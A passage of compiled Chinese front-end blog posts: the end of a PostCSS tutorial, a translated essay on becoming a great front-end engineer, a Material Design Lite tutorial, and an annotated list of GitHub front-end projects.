            [Object], [Object], [Object], [Object], [Object],
            [Object], [Object], [Object], [Object], [Object],
            [Object], [Object], [Object], [Object], [Object],
            [Object], [Object], [Object], [Object], [Object],
            [Object], [Object]
        ]
    },
    messages: [],
    root: Root {
        raws: {
            semicolon: false,
            after: ''
        },
        type: 'root',
        nodes: [
            [Object]
        ],
        source: {
            input: [Object],
            start: [Object]
        },
        _autoprefixerDisabled: false,
        _autoprefixerPrefix: false,
        rawCache: {
            colon: ':',
            indent: '',
            beforeDecl: '',
            beforeRule: '',
            beforeOpen: '',
            beforeClose: '',
            beforeComment: '',
            after: '',
            emptyBody: '',
            commentLeft: '',
            commentRight: ''
        }
    },
    // 我们代码中配置 opts 变量
    opts: {
        from: 'src/index.css',
        to: 'index.css'
    },
    // 这就是重新生成的 节点树串
    // 这里有自动补全和高效压缩的效果
    css: '*{-webkit-transition:all .1s;transition:all .1s}',
    // map的文件的配置
    map: 
        SourceMapGenerator {
            _file: 'index.css',
            _sourceRoot: null,
            _skipValidation: false,
            _sources: ArraySet { _array: [Object], _set: [Object] },
            _names: ArraySet { _array: [], _set: {} },
            _mappings: MappingList { _array: [Object], _sorted: true, _last: [Object] },
            _sourcesContents: { '$src/index.css': '* { transition: all .1s; }' } },
    // 这里应该是链式要用的吧，暂时不深究
    lastPlugin: {
        [Function]
        postcssPlugin: 'cssnano-reset-stylecache',
            postcssVersion: '5.0.10'
    }
}


其实吧，这样有点抽象的，还是来看熟悉的 API 吧。

这里出现了 sourcemap，说明 PostCSS 中的转换功能是它必备的，但是必备并不等于：源代码与目标代码不能完全一致。

这里吐槽一下 Chrome 的 sourcemap 功能，一坨屎！下面看看 firefox 里面的效果吧。



这里 firefox 里面就自动映射了源文件，非常不错！

6. 既然是程序可以用的，那么它的API呢？

其实官方有 API 的详细解释，我看了一下，一看就明白了，就不再花时间介绍了，大家可以去看看，这样会知道，原来如此～

PS: 大家可以先看看 Node Common 和 Node相关的，然后再看 plugin

官方API

这里看一个 DEMO，主要做 rem 和 px 单位之间的互换，加入 processors 就可以用了，很方便：

var custom = function(css, opts){
    css.eachDecl(function(decl){
        decl.value = decl.value.replace(/\d+rem/, function(str){
            return 16 * parseFloat(str) + "px";
        });
    });
};


开发插件可以看一下 官方插件指南

更细致的地方，之后有时间的时候再写写 ^_^ 一说技术就停不下来了～

大家在问？我怎么在工程上应用它呢？好吧，使用 gulp, grunt, webpack 都是可以的，我觉得都理解了 PostCSS ，使用这些就很简单了，一查资料，拷贝一份配置就可以开始用了～就这样吧，下次再结合 react 来介绍一下一个叫: postcss-js 的插件，看上去还不错，还没深入用，用到的时候再分享吧。

其实我也是初学者，只是用了自己的学习方法来梳理成文章，下面都是我看过的文章，部分是引用的。这里就不全部举例了，看的文章有点多。。。

参考的文章


	最权威的初认识 https://github.com/postcss/postcss


	一个不错的东西 rework https://github.com/reworkcss


	理解 AST 等插件解析技术 http://rapheal.sinaapp.com/category/js/uglify%E6%BA%90%E7%A0%81/


	大漠的系列文章，应用型很强，推荐 http://www.w3cplus.com/blog/tags/517.html


	一个年龄差不多的开发者的解释 http://acgtofe.com/posts/2015/05/modular-transforming-with-postcss/


	一篇稍微理论化解释的文章 http://www.oschina.net/translate/its-time-for-everyone-to-learn-about-postcss?cmp


	一个开发模式简单的优劣比较 http://caibaojian.com/css-processor.html




大家也可以直接阅读我的博客：http://www.60sky.com


 [译]如何成为一个优秀的前端工程师

作者：MockingBird

来源： [译]如何成为一个优秀的前端工程师



                    
来自Google的前端工程师-Philip Walton 分享了自己关于如何成为优秀的工程师的一些观点。个人感觉很有价值，所以翻译成中文，方便大家阅读。水平有限，如翻译不妥之处请在评论中指出。



原文地址：http://philipwalton.com/articles/how-to-become-a-great-front-end-engineer/



最近，我收到了读者的邮件，引发了我的一些思考。这是他在邮件中问我的问题：

Hi Philip, is it okay to ask how you become a great front-end engineer? Any advice?



我不得不承认，我感到非常的惊讶，居然会被问到这样的问题，因为我从来没有想过自己是一个优秀的前端工程师。实际上，我在这个行业工作的前几年里，我真的不觉得我能够胜任我的工作。我接受了这些工作只是因为我以前没有意识到我知道得东西太少了，我能够得到这些工作只是因为以前面试我的人不知道问我什么问题。

话虽这么说，我最后还是把我自己的角色做得非常好，而且成为了团队里有价值的一员。当我最后离职的时候（下一个职位我还是无法胜任）我通常也会应试那些将要应聘我的职位的人。现在回想那些我面试过的应聘者，让我明白，看待知识的重要性。尽管我一开始在这个领域很薄弱。我现在的自己可能也不会雇佣以前的那个自己，尽管我知道随着工作经验的积累，成功也是可能的。

在Web领域，我工作的越久，越让我意识到不错的人和真正优秀的人的区别在于不是他们知道什么，而是他们如何思考。 很明显，知识是很重要的--特别是在某些情况下--但是，在一个快速变化的领域并非如此。你获取知识的方式比你知道那些知识更为重要。而且也许最重要的是：你如何利用你的知识去解决日常生活中的问题。

你可以找到大量谈论知识点、框架和工具的文章，这是知识都是获得一份工作所需要知道的。我想说一些不一样的。在这篇文章中，我会说一说前端工程师应有的心态，希望能够回答最开始的问题：怎样才能做到优秀？

不要只是解决问题，找到问题的根源所在

很多的人只是不断地写一些 CSS 和 Javascript 补丁直到他们发现这些东西可以正常的工作了，然后他们就不管了。我在代码审查的过程中看到了很多这样的做法。

我会经常问别人：“为什么你要在这里加一个 float: left ？” 或者 “这个 overflow:hidden 真的需要吗？”，然后他们会回答：“我不知道，但是如果我删掉他们，就出问题了”。

Javascript 也一样。我看到一些人用 setTimeout 来防止执行顺序上的问题，或者是一些人滥用 stopPropagation() 而没有考虑到它也许会影响页面中的其他事件处理函数。

我遇到过很多相同或类似的问题，如果你从来不花时间去了解问题的根源所在，你会发现你会一遍一遍的遭遇同样的困境。

花时间去深入的研究你的解决方案为什么可行看起来需要耗费很多的精力，但是我发誓它会在将来给你节约很多时间。对你现在工作的系统有一个全面的理解可以减少你将来的猜测和检查工作。

学会预测浏览器领域将来的变化

前端跟后端主要的不同是：后端的运行环境在你的控制之下。但是对于前端而言，相比于后端，它完全不在你的控制范围。你的用户所使用的平台或者设备随时都有可能改变，你的代码需要能够优雅地处理这种情况。

我记得早在2011年的时候，我在一个非常著名的 javascript 框架看到下面这样一段源码（大致如此）：

var isIE6 = !isIE7 && !isIE8 && !isIE9;

我知道在现实生活中， feature detaction 并不能100%的有效，有些时候我们不得不采用这种不好的方式或者浏览器白名单的方式，但是任何时候你这样做的时候，你应该预测未来可能会发生什么，即使发生，你的代码也不应该出现bug。

对于我们大多数人而言，我们在现在的工作岗位上写的代码会比我们的任期更长。我8年前写的一些代码现在还会经常用到，这想起来既让人满足又让让感到可怕。

阅读官方文档

浏览器 bug 总是存在的，但是，当两个浏览器执行相同的代码表现却不一致时，人们经常假设，而不是亲自去检查，只是把他们认为的表现好的叫做“正常”浏览器，表现异常的叫“不正常”浏览器。但并非总是这样，当你做出了错误的假设时，任何你选择的解决方法在未来也许会失效。

一个现实的例子就是 flex items 的默认最小尺寸。根据官方文档， flex items 的 min-width 和 min-height 是 auto (而不是 0)，这意味着，它们的尺寸不会比它们的内容还要小。 但是在过去的8个月里，只有 Firefox 是唯一一个正确的实现这一标准的浏览器。

如果你遇到过这类跨浏览器的兼容性问题，而且你注意到你的页面在 Chrome，IE，Opera，和 Safari 上表现一致，唯独 Firefox 上表现不同时，你肯定会猜测这是 Firefox 自己的问题。

当两个或多个浏览器在渲染相同的代码表现不一致时， 你应该花一些时间去研究到底哪个浏览器才是正确的，然后用正确的方式写下你的代码。你的作品才会是面向未来的。

另外，优秀的前端工程师经常都是站在变化的最前列的，他们会在这些技术成为主流之前就采用这些技术，甚至为这些技术作出贡献。如果你凭借你自己的实力去查找官方文档，而且能够想象一个技术在你能够在浏览器中用它的之前将会是如何工作的，你将成为能够谈论这个官方标准会对开发造成什么影响的人。

阅读其他人的代码

阅读其他人的代码，无疑是成为一个更好的开发者的最好方式。

自己解决问题是学习的最好方式，但是如果这些问题都是你以前解决过的，你很快就会进入平稳期（很难有上升的空间）。阅读其他人的代码可以为你打开处理问题的新的思路。而且阅读和理解别人写的代码的能力也是在跟团队合作或者参与开源项目时至关重要的能力。

实际上，我认为在面试一个应聘者是只让他们写代码--新的代码，是最大的错误。我应聘的时候，从来没有被叫过去阅读一些已经存在的代码，在这些代码中找出问题，然后解决它。这是非常不好的，因为作为一个工程师，很多时候我们是在别人的代码上添加和改变一些代码。很少从头写一些新的。

跟比你聪明的人一起工作

在我印象你，比起后端开发者，更多的前端开发者希望成为一个自由职业者（全栈）。也许是前端工程师更趋向于自学，而后端工程师更趋向于学术。

自学并为你自己工作的问题是无法从比你聪明的人身上得到好处。没有人来跟你讨论观点或者帮你审查代码。

我强烈的建议，至少在你职业生涯初期，在一个团队中工作，特别是跟一群比你更聪明更有经验的人工作。

如果你已经结束你的职业生涯，现在只是为你自己工作，那么参与到开源中来。 贡献开源项目会给你很多与团队合作的机会。

重复造轮子

在商业上，重复造轮子是不好的，但是对于学习来说并非如此。你也许尝试从 npm 上获取预输入控件或者事件委托库，但是想象一下如果你自己尝试创造这些东西的话会学到更多。

我确定一些正在阅读这篇文章的人对此感到强烈反对。不要误会我的意思。我不是说你永远也不应该使用第三方库。使用优秀的库是非常明智的事情。

但是，在这篇文章中，我要说的是如何从一个不错的工程师成为一个优秀的工程师。大部分我认为的这个领域中优秀的工程师都是这些优秀的第三方库的维护者。

你也许从来没有构建够自己的 javascript 库，但是你依然能够在你的职业生涯中获得成功，但是，可能你从来没有理解到解决问题的核心。

在这个行业中，人们经常问起的一个问题是：我接下来应该做什么？ 如果你问了这个问题，为什么不去尝试重新创造一个你喜欢的 javascript 库或者 CSS 框架，而不是尝试一些新的工具或者写一个新的 app。 这样做的好处是，及时你遇到了困难，你也可以从目前已有的库中的源码找到答案。

把你学到的东西写下来

最后， 你应该把你学到的东西写下来。有太多的理由这样做了，但是，也许最重要的原因是这样可以强迫你更好地理解你所学的东西。如果你无法解释其原理，这是一个很好的机会说明你并没有完全搞懂它。很多时候你没有意识到你不懂，直到你把它写下来。

在我的经验中，书写、做一个演讲、以及写一些 demos 是强迫我自己完全弄懂一个东西的最好方式，从里到外。即使没有一个人会看你写的东西，但是做这件事的过程更有价值。

文章地址：http://blog.mcbird.cn/2015/08/15/How-to-Become-a-Great-Front-End-Engineer/




 Material Design Lite，简洁惊艳的前端工具箱。

作者：desdik

来源： Material Design Lite，简洁惊艳的前端工具箱。



                    
Material Design Lite简介

本文主要介绍Material Design设计语言的HTML/CSS/JS部分实现。

一、设计语言

github项目地址：https://github.com/google/material-design-lite
随堂练习代码地址：https://github.com/hubwiz/mdl-lesson

拟真 vs. 扁平

在iso7之前，Apple采用的是拟真化设计语言，期望通过模拟现实世界的物体，给用户 身临其境的感觉。自metro和ios7开始的扁平化设计语言则相反，它着意去掉冗余的装 饰效果（比如透视、纹理、渐变等等能做出3D效果的元素），让“信息”本身重新作为核心 被凸显出来。

从下面的对比图中，我们可以体会到两种设计语言的差异：



Material Design

如果说拟真代表设计语言的一个极端，而扁平代表设计语言的另一个极端，那么Material Design则居于两者之间更偏右的位置：



在Material Design中，屏幕里看上去平整的一个 App 界面，事实上不同控件之间都拥有 着层级关系。不同控件之间的层级关系会使用阴影作为表示，而阴影的深浅，代表的正是这个 控件在 Z 轴的高度：



二、材料/Material

Material Design 里的材料/Material实际上是一种虚构出来的材料，：厚度无限薄（1dp），面积 无限大，能变换造型，也能按照规律移动 —— 你可以把它当做一张纸（事实上，Material Design 曾一度传说要改名为Quantum Paper - 量子纸）：



上面的两幅图示，左边正确地表达了Material Design的设计理念：材料有厚度，但是无差别的1dp 厚。右边的图过于拟真地表现了材料的厚度，因此是错误的。

虽然每一块 Material 都是扁的，但他们所处的环境，其实是一个 3D 空间，这意味着所有处于 Material Design 设置的这个三维环境里的控件，都拥有 XYZ 三个维度，Z轴垂直于屏幕，使用 阴影表现材料的高度，阴影越重，Z值越高，距离用户越近。在下面的动图中，你可以直观地体会到 阴影的变化对我们感官的影响：



因此，Material Design 并不是单纯的扁平化，它在保留了扁的控件的同时，采用了立体的虚拟空间， 简言之，Material Design的核心是：扁而不平。

Material Design Lite

MDL中定义了一组样式类mdl-shadow--Ndp，用于声明材料的阴影，N的有效取值为：2/3/4/6/8/16。

为元素应用阴影样式类很简单：

<!--为元素声明2dp的阴影-->
<any class="mdl-shadow--2dp">...</any>


三、色彩/Color

Material Design中的色彩灵感来自于现代建筑、道路标识、路面标记及运动场等 大胆运用色调、高光和阴影，充满动感的场景。



Material Design使用19个调色板（red、pink、purple等）用来约束设计中色彩的使用。 在每个调色板中，色调为500的颜色为基准色，其他颜色是基准色在不同色调（50-900, A100-700） 下的表现。

在右边的示例代码中，我们绘制了Material Design完整的调色板集。每一行是一个调色板， 每一列表示一个色调。你可以将鼠标移动到一个颜色上，查看其RGB值。

Material Design Lite

在MDL中，我们可以使用样式类mdl-color--{palette}-{hue}来设置背景色，使用样式类 mdl-color-text--{palette}-{hue}来设置前景色：

<div class="mdl-color--red mdl-color-text--grey-50">
this is a gray text on red background.
</div>


四、色彩运用

毫无疑问，我们在一个界面中不能无约束的使用色彩，那将使事情变得一团糟。 说好听点，没有约束，就不再是设计，而成为艺术了。

Material Design给出了一些通常条件下的约束：

1. 最多用两个调色板

在一个界面中最多使用两个调色板，从主调色板选择最多三个色调，从辅调色板选择 一个强调色。下面的示例选择indigo调色板中的三个色调（100、500和700），从pink 调色板中选择色调A200作为强调色：



2. 为文本、图标和分割线应用透明度

通过为文本设置透明度来表达文本的相对重要性：



对于深色背景的浅色文字，最重要的文本使用87%的透明度，次重要的文本使用54%的 透明度。提示性文本，例如输入框、标签、被禁止的文字等使用26%的透明度。

对于浅色背景的深色文字，最重要的文本使用100%的透明度，次重要的文本使用70%的 透明度，其他文本使用30%的透明度。

3. 工具栏和状态栏

工具栏和大色块应当使用调色板中色调为500的颜色为基准色。状态栏应当选择 调色板中比基准色略深的色调为700的颜色。

在下面的示例中，左图的工具栏和右图的大色块，使用了indigo调色板中的色调 500的基准色；而两幅图顶端的状态栏则使用了indigo调色板中的色调700的深色：



4. 使用强调色

在大色块上绝对不要使用强调色，对动作按钮、开关或滑动条之类的组件应当使用强调色：



五、图标/Icon

Google提供了适用于Material Design的图标字体，我们可以直接在前端样式表中使用@font-face引用这些字体：

/*icon.css*/
@font-face {
font-family: 'Material Icons';
font-style: normal;
font-weight: 400;
src: local('Material Icons'), local('MaterialIcons-Regular'),
url(material-icons.woff2) format('woff2'),
url(material-icons.woff) format('woff');
}
 
.material-icons {
font-family: 'Material Icons';
font-weight: normal;
font-style: normal;
font-size: 24px;
line-height: 1;
letter-spacing: normal;
text-transform: none;
display: inline-block;
word-wrap: normal;
-webkit-font-smoothing: antialiased;
/*text-rendering must be set for local host fonts*/
text-rendering: optimizeLegibility;
-moz-font-feature-settings: 'liga';
-moz-osx-font-smoothing: grayscale;
}


在页面中要使用图标字体，只需要应用上面定义的material-icons样式：

<i class="material-icons">face</i>


上面的示例创建了一个笑脸图标，face用来指定要显示的图标，也可以 使用其对应的数字编码：

<i class="material-icons">&#xE87C;</i>


具体的图标名和编码，参阅Material Icons官网（需FQ）：https://www.google.com/design/icons/

六、排版/Typography

Material Design提供了11种规格的文字样式供不同场景下排版使用:



Material Design Lite

在MDL中，使用样式类mdl-typography--{name}声明文本的排版样式：

<h1 class="mdl-typography--title">Hello,Material Design</h1>
<p class="mdl-typography--body-2">this is a demo</p>
 


最后，对应小练习和示例可以访问：http://www.hubwiz.com/course/55adae643ad79a1b05dcbf77。


 github上值得关注的前端项目

作者：trigkit4

来源： github上值得关注的前端项目



                    
http://microjs.com/#



该网站的资源都托管到了github，microjs.com是一个可以让你选择微型的js类库的网站，该网站里的js库都是压缩后不大于5KB的，非常实用



https://plainjs.com/（10.22更新）



The Vanilla JavaScript Repository，该仓库都是用原生js写的插件和组件，很实用。里面的项目也都托管到了github



综合/资源

	
	frontend-dev-bookmarks 一个巨大的前端开发资源清单。star:15000




	front-end-collect 分享自己长期关注的前端开发相关的优秀网站、博客、以及活跃开发者。star:860




	Front-end-Interview-questions   史上最全前端开发面试问题及答案




	f2e-hub 包含Animation，UI，dialog，Carousels，color，image，workflow等。star:100




	awesome-javascript 一系列很棒的javascript 库，资源。star:3100




	fks  前端技能汇总，包含前端知识架构，后端知识，linux，书籍推荐等。star:4000




	node123 node.js中文资料导航。star:1200




	mobile-web-favorites 移动端web开发收藏夹。star:200




	gulp-book Gulp 入门指南





	Front-end-tutorial 最全的资源教程-前端涉及的所有知识体系。（12.25更新）




样式/UI/css

	Semantic-UI 让你使用任何HTML标签 来表现UI控件。 
这是一款语义化设计的前端框架，为攻城师而制作的可复用的开源前端框架。star:17500






	
	primer   CSS风格指南。star:3600




	glue 一个生成CSS sprites的简单的命令行工具。star:2.5K (7.19更新)




	postcss 用js插件来对css进行转换，类似Sass的预编译器，但实现了模块化，并且更加强大。star:4.5K(7.31更新)




	css3 PIE 允许在IE上使用CSS3绝大部分的酷炫功能。官网：http://css3pie.com/




	mui 轻量级css框架。star:1.5K(10.15更新)





	img2css 将图片转为纯css的黑科技。star:1.5K（12.25更新）
测试/工具






	mocha 一个简单、灵活有趣的 JavaScript 测试框架，用于 Node.js 和浏览器上的 JavaScript 应用测试。 star:6680







	csscss css代码冗余分析仪，用于分析冗余 。star:2800




	es6-tools  es6 工具集，包括Grunt Tasks，Gulp Plugins，Broccoli Plugins，Brunch Plugins，Webpack plugins等等。star:1860




	async 一个工具模块，提供了直接而强大的 JavaScript 异步功能。虽然是为 Node.js 设计的，但是它也可以直接在浏览器中使用。star:13000




	simditor 团队协作工具 Tower 使用的富文本编辑器。star:1300




	HTMLHint HTML 静态代码分析工具，可以集成到IDE环境或编译系统中。star:900




	jshint js静态代码分析工具，可以帮你检测js语法错误和潜在的问题。star:5100




	csslint 分析和优化你的CSS样式表的工具。由[Nicholas C.
  Zakas][30]所写。star:2700








	protractor 一款端对端的angular apps 测试框架。star:4K




	casperjs 一个基于PhantomJS的开源导航脚本和测试工具。star:4.8K




	Karma 自动化完成单元测试，允许你在多个浏览器里执行js代码。让你的TDD变得简单，快速，有趣。star:5.3K




	jasmine  是一个简易的JS单元测试框架， 用来测试Javascript代码。star:9.1K（6.28更新）




	chai 一个针对 Node.js 和浏览器的TDD(测试驱动开发)/BDD(行为驱动开发)的断言框架，可与任何 JavaScript 测试框架集成。star:2K（6.29更新）




	Qunit 一个很容易使用的js单元测试框架，该框架是由jQuery团队的成员所开发，并且是jQuery的官方测试套件。star:3.3K（6.29更新）




Workflow/构建工具


	Grunt 基于Node.js的项目构建工具。拥有数量庞大的插件，是一款优秀的前端自动化工具。star:9500




	yeoman 一个强健的工具，库，及工作流程的组合。star:960




	gulp 基于node.js流的新一代前端构建系统。star:14000




	spm 是 CMD 的包管理工具，需要和 Sea.js 配合使用。




canvas/数据可视化


	echarts 基于Canvas，纯Javascript图表库，提供直观，生动，可交互，可个性化定制的数据可视化图表。star:6900




	Chart.js 使用<canvas>标签的简易HTML5图表。star:14600




	sketch.js 跨平台JavaScript创意编码框架，gzip压缩后仅有2kb。star:1500




	d3 一个基于数据操作文档的js数据可视化框架，最流行的可视化库之一。star:38000




	zrender 一个轻量级的Canvas类库，MVC封装，数据驱动，提供类DOM事件模型，让canvas绘图大不同！star:850




	c3 一个基于 D3.js 的可重用 JavaScript 图表库。几乎零学习曲线。star:4.5K（6.28更新）




	img2css 将图片转为纯css代码。（11.3更新）




模块管理/加载器

	ESL   是一个浏览器端、符合AMD的标准加载器，适合用于现代Web浏览器端应用的入口与模块管理。




ESL vs RequireJS

体积更小 (Smaller)
性能更高 (Higher performance)
更健壮 (More Robustness)
不支持在非浏览器端使用 (Browser only)
依赖模块用时定义 (Lazy define)



	seajs 一个遵循CommonJS规范的JavaScript模块加载器。提供简单、极致的模块化开发体验。star:4100




	Component 一个模块化的JavaScript框架，同时也是面向前端的包管理器。




	webpack一个模块打包工具，你可以使用WebPack管理你的模块依赖，并编绎输出模块们所需的静态文件。star:9K




动画


	animate.css 一个跨浏览器的CSS动画库。简单易用易上手。star:23000




	move.js 极小的 JavaScript 库,支持 CSS3 的动画效果,非常简单优雅。star：2600




	TweenJS 是一个简单但强大的 Javascript 动画库。CreateJS 套件的一部分。star:1500




	bounce.js 一个用于制作漂亮的 CSS3 关键帧动画的 JavaScript
  库,使用其特有的方式生成的动画效果。star:3600







	
	Swipe 号称最精确的Slider触摸库，专为移动设备优化。star:4.7K




	tween.js 一款可生成平滑动画效果的js动画库。tween.js允许你以平滑的方式修改元素的属性值。它可以通过设置生成各种类似CSS3的动画效果。star:2.5K(7.15更新)




	parallax.js轻量级的的视差引擎，能对智能设备的方向作出反应。。star:9K （10.17更新）





	Velocity 是一款和jQuery的$.animate()有相同API的动画引擎。很适合移动端的动画开发，还打包了颜色动画，转换，循环，easing效果，类动画、滚动等功能。star：9.5K(12月25更新)




插件

	
	zepto.fullpage 专注于移动端的全屏滚动插件。star:510




	fullPage.js pc端的全屏滚动插件。 star:9500 view demo 




	onepage-scroll 可以轻松建立一个动感的响应式的滚动效果页面，比较适用于单页面的专题站。支持现代浏览器和IE8以上版本。View demo 。star:7700




	slick 一款完全响应式的 jQuery 图片滚动插件，能够根据容器自动适应宽度。star:10000 view demo




	superslides 致力于解决网站大部分特效展示问题。网站上常用的“焦点图/幻灯片”“Tab标签切换”“图片滚动”“无缝滚动”等只需要一个SuperSlide即可解决！ view demo star:1100 




	jQuery-One-Page-Nav 当用户滚动网页时，实现平滑滚动和智能导航。star:1100




	slider 一个jquery完全开源的JavaScript代码库，用户可以开发，调试和深度定制自己的滑块。star:850 view demo




	github-hovercard github 鼠标悬停显示用户，仓库等摘要信息。(10.15更新)




	onepage-scroll 一款带有背景视觉差效果的jQuery整页滚动特效插件。star：8K （10.17更新）view demo




	justlazy.js 轻量级js图片延迟加载插件。（10.22更新）





	awesome-browser-extensions-for-github 收集关于github上优秀的浏览器插件。非常实用。star:200 (12.25更新)




框架、库和组件


	polymer web组件构建框架。一套以“一切皆组件、最少化代码量、最少框架限制”为设计理念的Web UI框架。 star:9900




	impress.js 创建令人兴奋的演示。使用CSS3的转换和过渡，这个库允许你创建令人印象深刻的演示文稿。view demo。star:24300




	ionic 先进的HTML5 移动端开发框架。帮助开发者使用HTML5, CSS3和js做出不可思议的hybrid app。star:17000




	reveal.js 基于CSS3的3D幻灯片工具。能够制作绚丽的演示文稿并生成HTML格式，将它发布到web上。star:21500 view demo








	pure.css 一组很小的，响应式的css组件，你可以在网页的项目上到处使用。star:12000




	three.js 是JavaScript编写的WebGL第三方库。提供了非常多的3D显示功能。star:20000




	TimelineJS 轻松制作时间轴。star:8000




	jquery-pjax 对ajax 和 pushState的封装，让你可以很方便的使用pushState技术，用以实现页面无刷新加载。star:11500




	highlight.js javascript语法高亮。既可以运行在浏览器端也可以运行在服务端。star:5500




	commander.js Node.js命令行工具。star:3800




	togetherjs 由Mozilla打造的一款可以给网站添加实时协作功能的JavaScript库。star:5K




	HTML.js 轻量级的简化与DOM操作的js库。view demo star:1.5K




	MEAN.JS 全栈式javascript，使用`MongoDB, Express,
  AngularJS 和 Node.js。star:2.2K`








	wechat.js 微信相关的 js 操作：分享、网络、菜单。star:700




	JavaScript-Load-Image 一个js加载和转换图像文件的库。 star:1.2K [view
  demo][95]








	progress.js 一个 js 和 CSS3的库，帮助开发人员为网页上的每个对象创建和管理进度条效果。star:1.6K view demo




	foundation 号称世界上最先进的响应式前端框架，也是一款Mobile First的框架。star:21K




	Sugar 一个JavaScript库。它扩展了现有的JS对象的方法，让你可以用更少的代码做更多的事情。star:2.8K




	todomvc 帮你挑选一款MV*框架，它使用不同的最流行的js MV*框架实现了一个相同的Todo应用。star:13K




	yepnope.js 这是一个异步的条件加载框架，速度超快，只为用户加载需要的脚本。使用非常简单，非常有用！star:2.5K




	Material UI 是一个 CSS 框架和一组实现谷歌 Material Design 设计规范的 React
  组件。star:8.8K（6.28更新）







	Pikaday 是一个 JavaScript 日期选择器，特点是轻量级、无依赖和模块化的
CSS。star:2.8K view demo][104









	vuejs 用于构建交互式的 Web 界面的库。它提供了 MVVM 数据绑定和一个可组合的组件系统,具有简单、灵活的 API。star:6K（7.12更新）




	meteor 超简单的，数据库无处不在的，用于自动化和简化实时运行的 Web 应用程序的开发。纯JavaScript的Web框架。star:27K（7.12更新）




	webuploader
  一个简单的以HTML5为主，FLASH为辅的现代文件上传组件。支持大文件分片并发上传，极大的提高了文件上传效率。star:1.8K







	
	fastclick触摸UI上的消除点击延迟js库。star:1W(10.15更新)




	wangEditor 轻量级web富文本框。 (10.15更新)




	benchmark.js是强大的基准测试库，几乎适用于所有JavaScript平台。支持high-resolution定时器，并返回重要的统计结果。star:1.7k(10.15更新)




	headroom.js是一个轻量级、纯 JS 组件,用来隐藏或展现页面上的元素,为你的页面留下更多展示内容的空间。star:7.5K (10.15更新)







	tooling 快速开发web app




移动端

	
	Swipe 加速移动触摸滑块与硬件之间的转换。star:5000。




	hammer.js 一个支持多点触摸的手势库。star:11000




	amDoc 无线Web解决方案 - 文档规范指南




	amazeui  移动优先的跨屏前端框架。面向HTML5开发，使用css3做动画和交互。star:4.1K




	Zepto  一款面向移动端设备、API与jQuery兼容的基础库。




	mui 最接近原生APP体验的高性能框架 。star:1.1K（6.28更新）




	Swiper纯javascript打造的滑动特效插件，面向手机、平板电脑等移动终端。能实现触屏焦点图、触屏Tab切换、触屏多图切换等常用效果。star:6K(10月18更新)








	SUI-Mobile由阿里巴巴国际UED前端出品的移动端UI库，轻量精美 star:2K(2016.1.14更新)




	lib-flexible 淘宝出品的移动端可伸缩布局方案。star:1.3K+（2016.1.14更新）




Node.js相关

http://nodeframework.com/ 专门收集node.js的web框架的网站。其项目同样均托管在github上。





	nodeclub 使用 Node.js 和 MongoDB 开发的社区系统。star:3000




	N-chat 使用 Express + Socket.IO 搭建的多人聊天室 。star:300




	N-blog 使用 Express + MongoDB 搭建多人博客。star:1800




	node-inspector 基于Blink开发者工具的Node.js调试器。star:7000




	node-lessons：Node.js包教不包会。star:2.5K




	nodePPT  使用nodejs写的网络幻灯片。可能是迄今为止最好的网页版PPT。star:1.6K view demo




	hexo 一款快捷，简单，强大的博客框架，基于Nodejs。star:5.2K




	koa 下一代Node.js  Web 框架。由 Express 团队设计。star:6.3K




	awesome-nodejs 关于Nodejs 包和资源的收集。star:7K




	connect Node平台的中间件框架。Express就是基于Connect开发的。star:5.6K（6.29更新）




	n node版本管理，tj大神所写。star:2.7K




	nvm node版本管理，通过bash脚本来管理。star:7.5K


	nodemon这个库是专门调试时候使用的，它会自动检测 node.js 代码的改动，然后帮你自动重启应用。star:7K+。（2.24.16）


	supertestAPI使用流利的API测试node.js http 服务器。3.1K+




React相关


	react-style 是 React.js 可维护的样式组件




	react-component  基于reactjs的组件。




	react-native 一个用React构建native apps的框架。star:15000




	react-native-guide  汇集了react-native学习资源与各类开源app。star:850




	awesome-react 关于react的工具，资源，视频的集合。star:700




	Flux 是一个Facebook开发的、利用单向数据流实现的应用架构，用于
React。Flux应用有三个主要的部分组成：调度程序、存储和视图（React 组件）。star:6.8K（6.28更新）


	iscroll 高性能，体积小，无外部依赖，跨平台的滚动组件 star:6K（7.19更新）


	react-tappable Tappable component for React.(2016,1.4更新)


	react-native-lesson react-native入门指南.star:1.3K(2016,1.4更新)




HTML5


	html5-boilerplate 一套专业的前端模版，主要用于开发快速、健壮、适应性强的app或网站。star:27K （12.25更新）


	Browserquest Mozilla开发的HTML5多人在线游戏。star:5200


	video.js 开源的HTML5和Flash视频播放器。支持自定义进度条、按钮以及工具栏的底色。star:9.1K




	html5shiv 主要解决HTML5提出的新的元素不被IE6-9识别。star:6K(7.15更新)




	brunch 快速的前端 HTML5 构建工具。star:4.5K（7.19更新）




	ulkit 一个轻量级的、模块化前端框架，它被用于快速开发强大的web界面。也是一款优秀的响应式HTML5 框架。star:5.3K (8.3更新)




模板引擎

	
	Handlebars.js 一个js语义模板库，能让你轻松高效的编写语义化模板。star:8.6K(6.29 update)




	artTemplate  性能卓越的 js 模板引擎。star:1.7K




	jade 一款高性能简洁易懂的模板引擎，Jade是Haml的Javascript实现。star:8.7K





	ejs tj大神写的嵌入javascript的模板引擎，主要用于Node




浏览器兼容方案


	es6-shim 提供兼容性垫片，使ES6能兼容于传统的JavaScript引擎。star:1.5K(7.15更新)




	Modernizr 用来检测浏览器功能支持情况的JavaScript库,可以检测18项CSS3功能以及40多项关于HTML5的功能。star:16000




	normalize.css 一个可定制的 CSS 文件，使浏览器呈现的所有元素，更一致和符合现代标准。支持IE8+。star:17000




	html5shiv 主要解决HTML5提出的新的元素不被IE6-9识别。star:6K(7.15更新)




	css3please 跨浏览器自动生成css3前缀




	Babel 是一款为了写下一代js的编译器，无需等待浏览器支持就可以使用新的语法。star：8.3K (7.29更新)




高产大牛


	Evan You  前端轻量级框架MVVM框架vue.js作者，前Google工程师。followers:1.6K




	TJ Holowaychuk  Luna 编程语言, Koa, Express, Stylus, Cluster, Mocha, Jade, node-canvas, component 等知名开源项目的创建和贡献者。 followers:14.1K




	PaulIrish 著名的前端开发工程师，同时他也是Chrome开发者关系团队成员，jQuery团队成员，Modernizr、Yeoman、CSS3 Please和HTML5 Boilerplate的lead developer。followers:15.7K




	Mike Bostock 知名可视化库 D3.js的主要作者。followers:8.3K




	Nicolas Gallagher Normalize.css 作者。followers:3.6K




	司徒正美 前端迷你MVVM框架Avalon作者。followers:2.1K




其他


	javascript-style-guide 最合理的使用javascript的方法。 star:18000




	Mars 腾讯移动Web前端知识库。star:1600




	brackets 一款使用 HTML，CSS，JavaScript 创建的开源的针对 Web 开发的编辑器。star:23000




